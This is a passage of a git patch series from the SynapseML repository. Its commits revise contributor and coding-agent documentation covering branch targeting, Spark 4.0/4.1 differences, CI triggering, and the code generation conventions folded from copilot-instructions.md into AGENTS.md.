it is pinned there deliberately. +- **Version strings generally** — Spark 4.1.1, Scala 2.13.17, Python 3.13, + Databricks 18.0, sparklyr 1.9.5. + +Everything else on this branch is a candidate for back-porting. + +## Known non-code failures + +- `UnitTests onnx` intermittently hits `OutOfMemoryError` in + `ImageFeaturizerSuite`. It has passed on re-run with no code change; re-run + before treating it as a regression. +- `RTests vw` can fail on a conda `HTTP 403` fetching packages. Infrastructure. +- Databricks library-install failures during concurrent builds — see above. + +## CI + +`/azp run` does **not** trigger for this branch. The Azure DevOps definition's +pull-request trigger is defined in the UI with a `+master` branch filter, so the +`pr:` block in `pipeline.yaml` is never consulted. Until that filter is widened, +queue a build directly against the PR merge ref (`refs/pull//merge`); a manual +queue bypasses trigger filters. `refs/heads/` does not work — it fails +service-connection authorization. + +GitHub Actions checks do run here, but they only compile and lint. They cannot +catch the failures this branch is actually prone to, all of which need the full +Azure DevOps run. + +## Before merging a sync from master + +1. Confirm no master content was dropped — compare content, not just commit + reachability (see AGENTS.md). +2. Re-check every item above still holds; a sync can quietly revert a pin or a + guarded call. +3. Run the full Azure DevOps pipeline, alone rather than alongside another Spark + 4 branch build. +4. Diff against `spark4.0` and account for each difference as intended or + missing — in both directions. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 2556638be7f..c3e9563a88b 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -17,6 +17,27 @@ an issue. Also, you can up-vote or comment on existing issues. If you want to add code, examples or documentation to the repository, follow this process: +### Which branch should I target? + +Most contributions target `master`. + +This repository also maintains ports of the library to newer Spark versions on +long-lived branches (`spark4.0`, `spark4.1`). Target one of those only when the +change exists *because of* that Spark version — for example, replacing an API +that behaves differently there. Ordinary bug fixes and new features belong on +`master` and reach the port branches when `master` is merged into them. + +If a fix applies everywhere, land it on `master` first so the port branches +inherit it on the next sync. Fixing the same thing separately on each branch +creates a conflict that someone then has to resolve by hand. + +Each port branch carries an `AGENTS_.md` describing what diverges there +and why. Read it before changing anything on that branch — several of the +differences look like mistakes until you know the reason for them, and a +"cleanup" that reverts one tends to break the build in a way that is not obvious +from the diff. Repository-wide guidance for automated coding agents is in +[AGENTS.md](AGENTS.md). + #### Propose a contribution - Preferably, get started by tackling existing issues to get yourself acquainted From 2beaab28fba873e6851a5f2bd3e26b0db5074c16 Mon Sep 17 00:00:00 2001 From: SynapseML CI Date: Sun, 16 Aug 2026 15:45:23 -0700 Subject: [PATCH 82/93] docs: record the measured BinaryType difference between Spark 4.0 and 4.1 The branch files listed the divergences that must not be ported between the two Spark 4 branches, but two of them were reasoned about rather than measured. Both were checked against real Spark 4.0.1 and 4.1.1 installs, and one of the two conclusions was wrong. Spark 4.1 returns `bytes` for a `BinaryType` column where 4.0 returns `bytearray`. `np.asarray` accepts `bytearray` -- it exposes the buffer protocol as a sequence of ints -- but treats `bytes` as a scalar string and raises `ValueError: invalid literal for int() with base 10`. That is why `ImageTransformer.toNDArray` uses `np.frombuffer` on 4.1, and why the change is inert on 4.0. Genuinely 4.1-only, now recorded with the measurement. The second was mischaracterised. `cyber/utils/spark_utils.py` replaces `rdd.toDF(schema)` with `spark.createDataFrame(rdd, schema)` on 4.1, which looked like another version-forced fix. `toDF` in fact works on both 4.0.1 and 4.1.1, so it was never a 4.1 necessity -- it reduces reliance on the monkey-patched RDD API, which does not exist under Spark Connect. Both files now say so, and note that back-porting it is safe but buys little on its own, since the surrounding `df.rdd.zipWithIndex()` is still an RDD call. The distinction matters for future syncs: "do not port, it will break" and "port if you want, it is an improvement" are different instructions, and the earlier wording collapsed them. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- AGENTS_spark4.1.md | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/AGENTS_spark4.1.md b/AGENTS_spark4.1.md index adff81c20f2..1a17f4b505c 100644 --- a/AGENTS_spark4.1.md +++ b/AGENTS_spark4.1.md @@ -89,6 +89,19 @@ O(1) indexing) rather than patching each affected service individually. is the one import that is genuinely 4.1-only — on Spark 4.0 it is still in `...streaming` and this import does not compile. +A `BinaryType` column also returns a different Python type. Measured against real +4.0.1 and 4.1.1 installs: + +| | Spark 4.0.1 | Spark 4.1.1 | +| --- | --- | --- | +| Python type from a `BinaryType` column | `bytearray` | `bytes` | +| `np.asarray(value, dtype=np.uint8)` | works | `ValueError` | + +`np.asarray` accepts `bytearray` because it exposes the buffer protocol as a +sequence of ints, but treats `bytes` as a scalar string. `ImageTransformer.toNDArray` +therefore uses `np.frombuffer`, which handles both. This is required here and +inert on `spark4.0`. + ### Code generation `OpenAIPrompt` sets `pyInternalWrapper = true` on this branch, so codegen emits @@ -182,6 +195,8 @@ disabled there. - **`LongOffset` import** — 4.0 still has it in `...streaming`; 4.1's import does not compile there. +- **`ImageTransformer.toNDArray` using `np.frombuffer`** — guards against a + `bytes` value that Spark 4.0 does not produce; see the table above. - **petastorm / horovod cloudpickle shims** — Python 3.13 workarounds. `spark4.0` is on 3.12 and its deep-learning tests pass without them. - **`numpy` left unpinned** — on `spark4.0`, `numpy==1.26.4` both has cp312 @@ -192,6 +207,14 @@ disabled there. Everything else on this branch is a candidate for back-porting. +One item is worth naming explicitly because it looks 4.1-specific and is not: +`cyber/utils/spark_utils.py` uses `spark.createDataFrame(rdd, schema)` where +`spark4.0` still uses `rdd.toDF(schema)`. `toDF` was measured to work on **both** +4.0.1 and 4.1.1, so this was never a 4.1 necessity — it reduces reliance on the +monkey-patched RDD API, which does not exist under Spark Connect. Back-porting it +is safe but buys little on its own, since the surrounding +`df.rdd.zipWithIndex()` is still an RDD call. + ## Known non-code failures - `UnitTests onnx` intermittently hits `OutOfMemoryError` in From ebf1c490aeb3925cfaab929ff35bfe6c5a2a6893 Mon Sep 17 00:00:00 2001 From: SynapseML CI Date: Sun, 16 Aug 2026 16:17:57 -0700 Subject: [PATCH 83/93] docs: consolidate .github/copilot-instructions.md into AGENTS.md Two files were doing the same job. `.github/copilot-instructions.md` held the architecture, codegen and convention guidance; `AGENTS.md` held the branch model and the rules for syncing. Agents read both, with no obvious precedence between them, and nothing said which one a new rule belonged in. `AGENTS.md` is the better survivor. It is the cross-tool convention, GitHub added support for it to Copilot in August 2025, and it is read by the coding agent, VS Code and the CLI alike, so folding one into the other loses no coverage. It also sits at the repository root next to `CONTRIBUTING.md`, which is where someone looks first. The merge is content-preserving: module map, directory layout, the code generation pipeline, the transformer/estimator pattern and its conventions, the cognitive service traits, file headers, build commands, Python and scalastyle rules, testing layout, CI/CD, and the numbered list of common mistakes all move across intact. Two things are deliberately different in the merged file. The first is that it carries no version numbers. The deleted file said "Spark 3.5.0, Scala 2.12.17" and pointed at `target/scala-2.12/generated/src/python/`, which was true on master and wrong on both Spark 4 branches -- where it directed agents at a generated-output directory that does not exist. That is not a typo anyone forgot to fix; it is the predictable result of restating in prose a fact that lives in `build.sbt`. The merged file names `build.sbt` and `environment.yml` as the source of truth, writes the generated path as `target/scala-/`, and defers per-branch specifics to `AGENTS_.md`. Being version-free is also what lets this file stay byte-identical on every branch, so syncing it is a no-op rather than a recurring conflict. The second is two additions earned the hard way rather than copied across: a short section on hand-written `__init__.py` files explaining that re-listing generated classes *narrows* the public API instead of extending it -- the exact defect that broke `PythonTests core` and seven website samples -- and a note that the `/azp run` comment does not trigger on every branch, so an absent pipeline run is not evidence that CI is broken. Deleted on `master`, `spark4.0` and `spark4.1` in the same change, so that no branch inherits a file the others have dropped and future syncs stay clean. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .github/copilot-instructions.md | 248 -------------------------- AGENTS.md | 296 +++++++++++++++++++++++++++++--- 2 files changed, 272 insertions(+), 272 deletions(-) delete mode 100644 .github/copilot-instructions.md diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md deleted file mode 100644 index cf659a80383..00000000000 --- a/.github/copilot-instructions.md +++ /dev/null @@ -1,248 +0,0 @@ -# SynapseML Copilot Instructions - -SynapseML is an open-source library providing scalable machine learning pipelines -for Apache Spark. It wraps algorithms (LightGBM, VW, Azure AI Services, ONNX, OpenCV) -as SparkML-compatible `PipelineStage`s with auto-generated Python bindings. - -## Architecture - -### Module Map - -| Module | Directory | Purpose | -|--------|-----------|---------| -| **core** | `core/` | Foundational transformers, featurizers, IO, codegen, automl, causal inference | -| **cognitive** | `cognitive/` | Azure AI Services wrappers (OpenAI, Vision, Speech, Text, etc.) | -| **lightgbm** | `lightgbm/` | LightGBM classifier/regressor/ranker for Spark | -| **vw** | `vw/` | Vowpal Wabbit integration | -| **deep-learning** | `deep-learning/` | ONNX Runtime inference | -| **opencv** | `opencv/` | Image transformations via OpenCV | - -All modules depend on `core`. `deep-learning` also depends on `opencv`. - -### Directory Layout (same pattern in every module) - -``` -{module}/ -├── src/ -│ ├── main/ -│ │ ├── scala/com/microsoft/azure/synapse/ml/{package}/ -│ │ │ ├── MyTransformer.scala ← primary source code -│ │ │ └── MyTransformerParams.scala ← parameter traits (optional) -│ │ └── python/synapse/ml/{package}/ -│ │ └── MyTransformer.py ← hand-written Python (if needed) -│ └── test/ -│ ├── scala/com/microsoft/azure/synapse/ml/{package}/ -│ │ └── MyTransformerSuite.scala ← ScalaTest tests -│ └── python/synapsemltest/{package}/ -│ └── test_my_transformer.py ← Python tests -└── target/ - └── scala-2.13/generated/src/python/ ← AUTO-GENERATED (never edit) -``` - -## Critical: The Code Generation Pipeline - -**SynapseML auto-generates Python wrappers from Scala code.** This is the most -important thing to understand. - -### How It Works - -1. A Scala class mixes in the `Wrappable` trait -2. Running `sbt codegen` calls `makePyFile()` which generates a Python class -3. Generated files go to `target/scala-2.13/generated/src/python/synapse/ml/` -4. Generated files use underscore prefix: `_ClassName.py` -5. Hand-written Python in `src/main/python/` can extend the generated class - -### What This Means for You - -- **To add or change a feature**: Edit the **Scala** code. The Python wrapper - regenerates automatically. -- **Never edit files in `target/`**: They are overwritten on every build. -- **Hand-written Python** (`src/main/python/`) is only for cases where the - generated wrapper needs manual overrides or additional logic. - -### Example: Generated vs Hand-Written Python - -Generated (DO NOT EDIT): `target/.../synapse/ml/isolationforest/_IsolationForestModel.py` - -Hand-written override (OK to edit): `core/src/main/python/synapse/ml/isolationforest/IsolationForestModel.py` -```python -from synapse.ml.isolationforest._IsolationForestModel import _IsolationForestModel - -class IsolationForestModel(_IsolationForestModel): - def getInnerModel(self): - return self._java_obj.getInnerModel() -``` - -## Scala Patterns - -### Transformer/Estimator Pattern - -Every SynapseML stage follows this pattern: - -```scala -// Copyright (C) Microsoft Corporation. All rights reserved. -// Licensed under the MIT License. See LICENSE in project root for information. - -package com.microsoft.azure.synapse.ml.stages - -import com.microsoft.azure.synapse.ml.codegen.Wrappable -import com.microsoft.azure.synapse.ml.logging.{FeatureNames, SynapseMLLogging} -import org.apache.spark.ml.Transformer -import org.apache.spark.ml.param._ -import org.apache.spark.ml.util._ -import org.apache.spark.sql.types._ -import org.apache.spark.sql.{DataFrame, Dataset} - -object DropColumns extends DefaultParamsReadable[DropColumns] - -class DropColumns(val uid: String) - extends Transformer with Wrappable with DefaultParamsWritable with SynapseMLLogging { - logClass(FeatureNames.Core) - - def this() = this(Identifiable.randomUID("DropColumns")) - - val cols: StringArrayParam = - new StringArrayParam(this, "cols", "Comma separated list of column names") - - def getCols: Array[String] = $(cols) - def setCols(value: Array[String]): this.type = set(cols, value) - - override def transform(dataset: Dataset[_]): DataFrame = { - logTransform[DataFrame]({ - dataset.toDF().drop(getCols: _*) - }, dataset.columns.length) - } - - def transformSchema(schema: StructType): StructType = { - val droppedCols = getCols.toSet - StructType(schema.fields.filter(f => !droppedCols(f.name))) - } - - def copy(extra: ParamMap): DropColumns = defaultCopy(extra) -} -``` - -### Key Conventions - -- **Companion object**: Always add `extends DefaultParamsReadable[ClassName]` - for model serialization. -- **`Wrappable` trait**: Required for Python code generation. Without it, no - Python wrapper is created. -- **`SynapseMLLogging` trait**: Required on all transformers/estimators. Call - `logClass(FeatureNames.X)` in the constructor and wrap `transform`/`fit` - with `logTransform`/`logFit`. -- **Parameter traits**: For complex stages, define params in a separate trait - (e.g., `trait MyParams extends Wrappable with HasInputCol`) and mix it into - the class. This is the SynapseML composition pattern. -- **`uid` parameter**: Every stage must accept `uid: String` and provide a - no-arg constructor that generates a random UID. - -### Cognitive Module (Azure AI Services) - -The `cognitive` module follows a different pattern using service-oriented traits: -```scala -trait HasServiceParams extends Params // base for all service parameters -trait HasSubscriptionKey extends HasServiceParams -trait HasAADToken extends HasServiceParams -``` -Services extend `CognitiveServicesBase` instead of raw `Transformer`. - -### File Headers - -Every Scala file **must** start with this exact header (enforced by scalastyle): -```scala -// Copyright (C) Microsoft Corporation. All rights reserved. -// Licensed under the MIT License. See LICENSE in project root for information. - -package com.microsoft.azure.synapse.ml.{package} -``` - -Python files use the same copyright comment: -```python -# Copyright (C) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See LICENSE in project root for information. -``` - -## Build System - -SynapseML uses **sbt** (not Maven or Gradle). Spark 4.1.1, Scala 2.13.17. - -> This is the `spark4.1` branch. See [AGENTS_spark4.1.md](../AGENTS_spark4.1.md) -> for what diverges here and why before changing anything. - -### Essential Commands - -```bash -sbt compile # compile all modules -sbt test:compile # compile all tests -sbt core/compile # compile just the core module -sbt scalastyle test:scalastyle # run Scala style checks -sbt codegen # regenerate Python/R wrappers from Scala -``` - -### Python Style - -- **Formatter**: `black` pinned to **22.3.0** (configured in `pyproject.toml`) -- **Environment**: conda env named `synapseml` (defined in `environment.yml`) -- Run locally: `black --check --extend-exclude 'docs/' .` - -### Scalastyle Rules - -- Max file length: 800 lines -- Max line length: 120 characters -- No tabs, no trailing whitespace -- License header required (see above) -- Token names max 40 characters - -## Testing - -### Scala Tests - -- **Framework**: ScalaTest (`AnyFunSuite` via `TestBase` trait) -- **SparkSession**: Provided automatically by `TestBase` (local mode) -- **Test location**: `{module}/src/test/scala/com/microsoft/azure/synapse/ml/{package}/` - -```scala -class MyTransformerSuite extends TestBase { - test("MyTransformer should transform data") { - val df = spark.createDataFrame(Seq(("a", 1), ("b", 2))).toDF("col1", "col2") - val result = new MyTransformer().setCols(Array("col1")).transform(df) - assert(result.columns.length == 1) - } -} -``` - -Tests that call Azure services or require external resources will be skipped -without credentials. Pure Spark tests run anywhere. - -### Python Tests - -- Located in `{module}/src/test/python/synapsemltest/` -- Require PySpark and the `synapseml` conda environment -- Run via: `sbt "testOnly *PythonTests*"` (runs through sbt, not pytest directly) - -## CI/CD - -- **Main build**: Azure DevOps pipeline (`pipeline.yaml`) — full test suite, 45+ min -- **GitHub Actions**: Lightweight checks only (style, compile, dead links, dependency review) -- **PR feedback**: GitHub Actions runs in ~5 min; ADO requires `/azp run` comment -- **PR titles**: Must follow conventional commits (`feat:`, `fix:`, `ci:`, `chore:`, `test:`, `docs:`) - -## Common Mistakes - -1. **Editing generated Python files** — They live in `target/` and are overwritten. - Edit the Scala source instead. -2. **Forgetting `Wrappable`** — If you add a new Scala transformer and forget - `with Wrappable`, it won't get a Python wrapper. -3. **Forgetting `SynapseMLLogging`** — All stages must mix in this trait and - call `logClass()` in the constructor. -4. **Missing companion object** — Without `object Foo extends DefaultParamsReadable[Foo]`, - model deserialization will fail. -5. **Wrong black version** — Using latest black instead of 22.3.0 will show - false formatting failures. -6. **Putting logic in Python** — SynapseML is Scala-first. Python wrappers - delegate to the JVM. Put business logic in Scala. -7. **Missing license header** — Scalastyle will reject files without the - Microsoft copyright header. -8. **Using RDD API** — SynapseML uses the DataFrame/Dataset API exclusively. - Never introduce RDD-based code. diff --git a/AGENTS.md b/AGENTS.md index 70b5a4e4e4f..b0b5712c1d4 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -3,13 +3,17 @@ Entry point for coding agents working in this repository. Humans should start with [CONTRIBUTING.md](CONTRIBUTING.md). +SynapseML is an open-source library providing scalable machine learning pipelines +for Apache Spark. It wraps algorithms (LightGBM, VW, Azure AI Services, ONNX, +OpenCV) as SparkML-compatible `PipelineStage`s with auto-generated Python +bindings. + ## Read this first -1. **This file** — how the repository is branched and which rules are universal. +1. **This file** — architecture, the code generation pipeline, conventions, and + the rules that apply on every branch. 2. **`AGENTS_.md`** — if you are on any branch other than `master`, read it before changing anything. It records what diverges on that branch and why. -3. [`.github/copilot-instructions.md`](.github/copilot-instructions.md) — - architecture, the code generation pipeline, Scala patterns, and style rules. ## Branch model @@ -31,7 +35,10 @@ Java, or Python version numbers, and no paths containing a Scala version such as `AGENTS_.md`. If you find yourself wanting to add a version number here, that is the signal -that it belongs in the branch file instead. +that it belongs in the branch file instead. The authoritative versions are in +`build.sbt` and `environment.yml`; read them rather than restating them, because +a restated version silently goes stale — that is exactly how the file this one +replaces came to describe a toolchain its branch had not used for months. Keeping the shared files identical is not just tidiness: it means a `master` → branch sync merges them cleanly instead of producing a conflict that @@ -69,26 +76,267 @@ intended version-driven divergence or a dropped change. Expect a large number of legitimate hits — record why each one is intentional rather than skimming past it. -## Rules that apply on every branch - -- **Python wrappers are generated from Scala.** To change a feature, change the - Scala source. Never edit generated output under a module's `target/` - directory; it is overwritten on every build. -- Hand-written Python under `src/main/python/` is only for genuine overrides. - Do not add an `__init__.py` that re-lists classes codegen already exports — - codegen emits `import *` for every generated module, and a hand-maintained - list goes stale silently. See `AGENTS_spark4.0.md` for a worked example of - this breaking CI. -- A new Scala stage needs `Wrappable` (or it gets no Python wrapper), - `SynapseMLLogging` with a `logClass` call, and a companion object extending - `DefaultParamsReadable` (or model loading fails). -- Scalastyle enforces the Microsoft copyright header, a 120-column limit, and - an 800-line file limit. -- Python is formatted with **black pinned to 22.3.0**. A newer black reports - spurious failures. -- Use the DataFrame/Dataset API. Do not introduce RDD-based code — beyond style, - it does not work under Spark Connect or Databricks Unity Catalog standard and - serverless modes. +## Architecture + +### Module map + +| Module | Directory | Purpose | +|--------|-----------|---------| +| **core** | `core/` | Foundational transformers, featurizers, IO, codegen, automl, causal inference | +| **cognitive** | `cognitive/` | Azure AI Services wrappers (OpenAI, Vision, Speech, Text, etc.) | +| **lightgbm** | `lightgbm/` | LightGBM classifier/regressor/ranker for Spark | +| **vw** | `vw/` | Vowpal Wabbit integration | +| **deep-learning** | `deep-learning/` | ONNX Runtime inference | +| **opencv** | `opencv/` | Image transformations via OpenCV | + +All modules depend on `core`. `deep-learning` also depends on `opencv`. + +### Directory layout (same pattern in every module) + +``` +{module}/ +├── src/ +│ ├── main/ +│ │ ├── scala/com/microsoft/azure/synapse/ml/{package}/ +│ │ │ ├── MyTransformer.scala ← primary source code +│ │ │ └── MyTransformerParams.scala ← parameter traits (optional) +│ │ └── python/synapse/ml/{package}/ +│ │ └── MyTransformer.py ← hand-written Python (if needed) +│ └── test/ +│ ├── scala/com/microsoft/azure/synapse/ml/{package}/ +│ │ └── MyTransformerSuite.scala ← ScalaTest tests +│ └── python/synapsemltest/{package}/ +│ └── test_my_transformer.py ← Python tests +└── target/ + └── scala-/generated/src/python/ ← AUTO-GENERATED (never edit) +``` + +`` is the Scala binary version this branch builds against, so the +generated path differs between branches. Take it from `build.sbt` rather than +assuming, or just glob `target/scala-*/generated/`. + +## Critical: the code generation pipeline + +**SynapseML auto-generates Python wrappers from Scala code.** This is the most +important thing to understand. + +### How it works + +1. A Scala class mixes in the `Wrappable` trait +2. Running `sbt codegen` calls `makePyFile()` which generates a Python class +3. Generated files go to `target/scala-/generated/src/python/synapse/ml/` +4. Generated files use underscore prefix: `_ClassName.py` +5. Hand-written Python in `src/main/python/` can extend the generated class + +### What this means for you + +- **To add or change a feature**: Edit the **Scala** code. The Python wrapper + regenerates automatically. +- **Never edit files in `target/`**: They are overwritten on every build. +- **Hand-written Python** (`src/main/python/`) is only for cases where the + generated wrapper needs manual overrides or additional logic. + +### Example: generated vs hand-written Python + +Generated (DO NOT EDIT): `target/.../synapse/ml/isolationforest/_IsolationForestModel.py` + +Hand-written override (OK to edit): `core/src/main/python/synapse/ml/isolationforest/IsolationForestModel.py` +```python +from synapse.ml.isolationforest._IsolationForestModel import _IsolationForestModel + +class IsolationForestModel(_IsolationForestModel): + def getInnerModel(self): + return self._java_obj.getInnerModel() +``` + +### Hand-written `__init__.py` files + +Do **not** add an `__init__.py` that re-lists classes codegen already exports. +Codegen emits `import *` for every generated module, so a hand-maintained list +adds nothing and goes stale silently — and because these files can define +`__all__`, a stale one actively *narrows* the public surface rather than +extending it. Add one only to export something codegen does not emit. + +## Scala patterns + +### Transformer/Estimator pattern + +Every SynapseML stage follows this pattern: + +```scala +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.stages + +import com.microsoft.azure.synapse.ml.codegen.Wrappable +import com.microsoft.azure.synapse.ml.logging.{FeatureNames, SynapseMLLogging} +import org.apache.spark.ml.Transformer +import org.apache.spark.ml.param._ +import org.apache.spark.ml.util._ +import org.apache.spark.sql.types._ +import org.apache.spark.sql.{DataFrame, Dataset} + +object DropColumns extends DefaultParamsReadable[DropColumns] + +class DropColumns(val uid: String) + extends Transformer with Wrappable with DefaultParamsWritable with SynapseMLLogging { + logClass(FeatureNames.Core) + + def this() = this(Identifiable.randomUID("DropColumns")) + + val cols: StringArrayParam = + new StringArrayParam(this, "cols", "Comma separated list of column names") + + def getCols: Array[String] = $(cols) + def setCols(value: Array[String]): this.type = set(cols, value) + + override def transform(dataset: Dataset[_]): DataFrame = { + logTransform[DataFrame]({ + dataset.toDF().drop(getCols: _*) + }, dataset.columns.length) + } + + def transformSchema(schema: StructType): StructType = { + val droppedCols = getCols.toSet + StructType(schema.fields.filter(f => !droppedCols(f.name))) + } + + def copy(extra: ParamMap): DropColumns = defaultCopy(extra) +} +``` + +### Key conventions + +- **Companion object**: Always add `extends DefaultParamsReadable[ClassName]` + for model serialization. +- **`Wrappable` trait**: Required for Python code generation. Without it, no + Python wrapper is created. +- **`SynapseMLLogging` trait**: Required on all transformers/estimators. Call + `logClass(FeatureNames.X)` in the constructor and wrap `transform`/`fit` + with `logTransform`/`logFit`. +- **Parameter traits**: For complex stages, define params in a separate trait + (e.g., `trait MyParams extends Wrappable with HasInputCol`) and mix it into + the class. This is the SynapseML composition pattern. +- **`uid` parameter**: Every stage must accept `uid: String` and provide a + no-arg constructor that generates a random UID. + +### Cognitive module (Azure AI Services) + +The `cognitive` module follows a different pattern using service-oriented traits: +```scala +trait HasServiceParams extends Params // base for all service parameters +trait HasSubscriptionKey extends HasServiceParams +trait HasAADToken extends HasServiceParams +``` +Services extend `CognitiveServicesBase` instead of raw `Transformer`. + +### File headers + +Every Scala file **must** start with this exact header (enforced by scalastyle): +```scala +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.{package} +``` + +Python files use the same copyright comment: +```python +# Copyright (C) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See LICENSE in project root for information. +``` + +## Build system + +SynapseML uses **sbt** (not Maven or Gradle). The Spark, Scala, Java and Python +versions differ per branch — read them from `build.sbt` and `environment.yml`, +and see `AGENTS_.md` for the branch you are on. + +### Essential commands + +```bash +sbt compile # compile all modules +sbt Test/compile # compile all tests +sbt core/compile # compile just the core module +sbt scalastyle Test/scalastyle # run Scala style checks +sbt codegen # regenerate Python/R wrappers from Scala +``` + +### Python style + +- **Formatter**: `black` pinned to **22.3.0** (configured in `pyproject.toml`) +- **Environment**: conda env named `synapseml` (defined in `environment.yml`) +- Run locally: `black --check --extend-exclude 'docs/' .` + +Using a newer black reports spurious failures. + +### Scalastyle rules + +- Max file length: 800 lines +- Max line length: 120 characters +- No tabs, no trailing whitespace +- License header required (see above) +- Token names max 40 characters + +## Testing + +### Scala tests + +- **Framework**: ScalaTest (`AnyFunSuite` via `TestBase` trait) +- **SparkSession**: Provided automatically by `TestBase` (local mode) +- **Test location**: `{module}/src/test/scala/com/microsoft/azure/synapse/ml/{package}/` + +```scala +class MyTransformerSuite extends TestBase { + test("MyTransformer should transform data") { + val df = spark.createDataFrame(Seq(("a", 1), ("b", 2))).toDF("col1", "col2") + val result = new MyTransformer().setCols(Array("col1")).transform(df) + assert(result.columns.length == 1) + } +} +``` + +Tests that call Azure services or require external resources will be skipped +without credentials. Pure Spark tests run anywhere. + +### Python tests + +- Located in `{module}/src/test/python/synapsemltest/` +- Require PySpark and the `synapseml` conda environment +- Run via: `sbt "testOnly *PythonTests*"` (runs through sbt, not pytest directly) + +## CI/CD + +- **Main build**: Azure DevOps pipeline (`pipeline.yaml`) — full test suite, 45+ min +- **GitHub Actions**: Lightweight checks only (style, compile, dead links, dependency review) +- **PR feedback**: GitHub Actions runs in ~5 min; the Azure DevOps run is triggered + by an `/azp run` comment. That comment does **not** work on every branch — see + `AGENTS_.md` before concluding the pipeline is broken. +- **PR titles**: Must follow conventional commits (`feat:`, `fix:`, `ci:`, + `chore:`, `test:`, `docs:`) + +## Common mistakes + +1. **Editing generated Python files** — They live in `target/` and are overwritten. + Edit the Scala source instead. +2. **Forgetting `Wrappable`** — If you add a new Scala transformer and forget + `with Wrappable`, it won't get a Python wrapper. +3. **Forgetting `SynapseMLLogging`** — All stages must mix in this trait and + call `logClass()` in the constructor. +4. **Missing companion object** — Without `object Foo extends DefaultParamsReadable[Foo]`, + model deserialization will fail. +5. **Wrong black version** — Using latest black instead of 22.3.0 will show + false formatting failures. +6. **Putting logic in Python** — SynapseML is Scala-first. Python wrappers + delegate to the JVM. Put business logic in Scala. +7. **Missing license header** — Scalastyle will reject files without the + Microsoft copyright header. +8. **Using RDD API** — SynapseML uses the DataFrame/Dataset API exclusively. + Never introduce RDD-based code. Beyond style, it does not work under Spark + Connect or Databricks Unity Catalog standard and serverless modes. +9. **Re-listing generated classes in an `__init__.py`** — see above; it narrows + the public API instead of extending it. ## Working effectively From e4e1e02cde7ee8be7e85fcf2c811a748fe1f0442 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Sun, 16 Aug 2026 18:53:44 -0700 Subject: [PATCH 84/93] docs: consolidate agent instructions into AGENTS.md and document the branch model (#2648) * docs: add AGENTS.md and document the branch model for contributors This repository maintains long-lived ports of the library to newer Spark versions on the `spark4.0` and `spark4.1` branches, but nothing in the repository said so. A contributor had no way to know which branch to target, and an agent working on a port branch had no way to tell a deliberate version-driven divergence from an accident. The practical consequence is that a "cleanup" reverting an intentional difference looks, in the diff, exactly like a tidy-up -- and only fails much later, in a pipeline that does not run on pull requests to those branches. Two files, both intended to be identical everywhere: - `AGENTS.md` (new) -- entry point for coding agents. Covers the branch model, the rule for resolving conflicts when master is merged into a port branch, how to verify a sync actually landed, and the repository-wide invariants that are easy to violate: Python wrappers are generated from Scala, generated output under `target/` must not be edited, a new stage needs `Wrappable`, `SynapseMLLogging` and a `DefaultParamsReadable` companion, and no RDD-based code. - `CONTRIBUTING.md` -- a short "Which branch should I target?" section saying master is the default, and that a fix applying everywhere should land here first so the port branches inherit it rather than conflicting with it. The branch-specific detail deliberately does *not* live here. Each port branch carries its own `AGENTS_.md` recording its toolchain and the reason for every divergence. This split exists so that these two files can stay byte-identical on every branch, which makes syncing them a no-op instead of a conflict someone resolves by hand on every merge. `AGENTS.md` states the rule and gives the tell: wanting to write a version number in a shared file means the content belongs in the branch file. The two files added here are byte-identical to the copies on both port branches. References to the branch files are written as plain code spans rather than links, since those files do not exist on master. The sync guidance is the part worth reading twice. Commit reachability does not prove a sync landed -- `git log master ^` coming back empty only proves the commits are ancestors, and a conflict resolution can discard master's side while leaving the merge commit perfectly intact. The file says to compare content instead. That distinction was not theoretical: checking it this way on the port branches turned up changes that had gone missing despite a clean-looking history. Documentation only; no code or build changes. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: consolidate .github/copilot-instructions.md into AGENTS.md Two files were doing the same job. `.github/copilot-instructions.md` held the architecture, codegen and convention guidance; `AGENTS.md` held the branch model and the rules for syncing. Agents read both, with no obvious precedence between them, and nothing said which one a new rule belonged in. `AGENTS.md` is the better survivor. It is the cross-tool convention, GitHub added support for it to Copilot in August 2025, and it is read by the coding agent, VS Code and the CLI alike, so folding one into the other loses no coverage. It also sits at the repository root next to `CONTRIBUTING.md`, which is where someone looks first. The merge is content-preserving: module map, directory layout, the code generation pipeline, the transformer/estimator pattern and its conventions, the cognitive service traits, file headers, build commands, Python and scalastyle rules, testing layout, CI/CD, and the numbered list of common mistakes all move across intact. Two things are deliberately different in the merged file. The first is that it carries no version numbers. The deleted file said "Spark 3.5.0, Scala 2.12.17" and pointed at `target/scala-2.12/generated/src/python/`, which was true on master and wrong on both Spark 4 branches -- where it directed agents at a generated-output directory that does not exist. That is not a typo anyone forgot to fix; it is the predictable result of restating in prose a fact that lives in `build.sbt`. The merged file names `build.sbt` and `environment.yml` as the source of truth, writes the generated path as `target/scala-/`, and defers per-branch specifics to `AGENTS_.md`. Being version-free is also what lets this file stay byte-identical on every branch, so syncing it is a no-op rather than a recurring conflict. The second is two additions earned the hard way rather than copied across: a short section on hand-written `__init__.py` files explaining that re-listing generated classes *narrows* the public API instead of extending it -- the exact defect that broke `PythonTests core` and seven website samples -- and a note that the `/azp run` comment does not trigger on every branch, so an absent pipeline run is not evidence that CI is broken. Deleted on `master`, `spark4.0` and `spark4.1` in the same change, so that no branch inherits a file the others have dropped and future syncs stay clean. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: sharpen AGENTS.md title, boundaries, and the version rule Addresses the review note that the "no version numbers" rule contradicted the branch table directly above it. The table has to name the Spark line each branch targets, and that text is identical on every branch, so it was never the problem. Reword the rule to target what a branch would actually have to edit -- specific Spark, Scala, Java and Python versions, and Scala-versioned paths -- and say plainly that naming the branches is fine. Retitle from 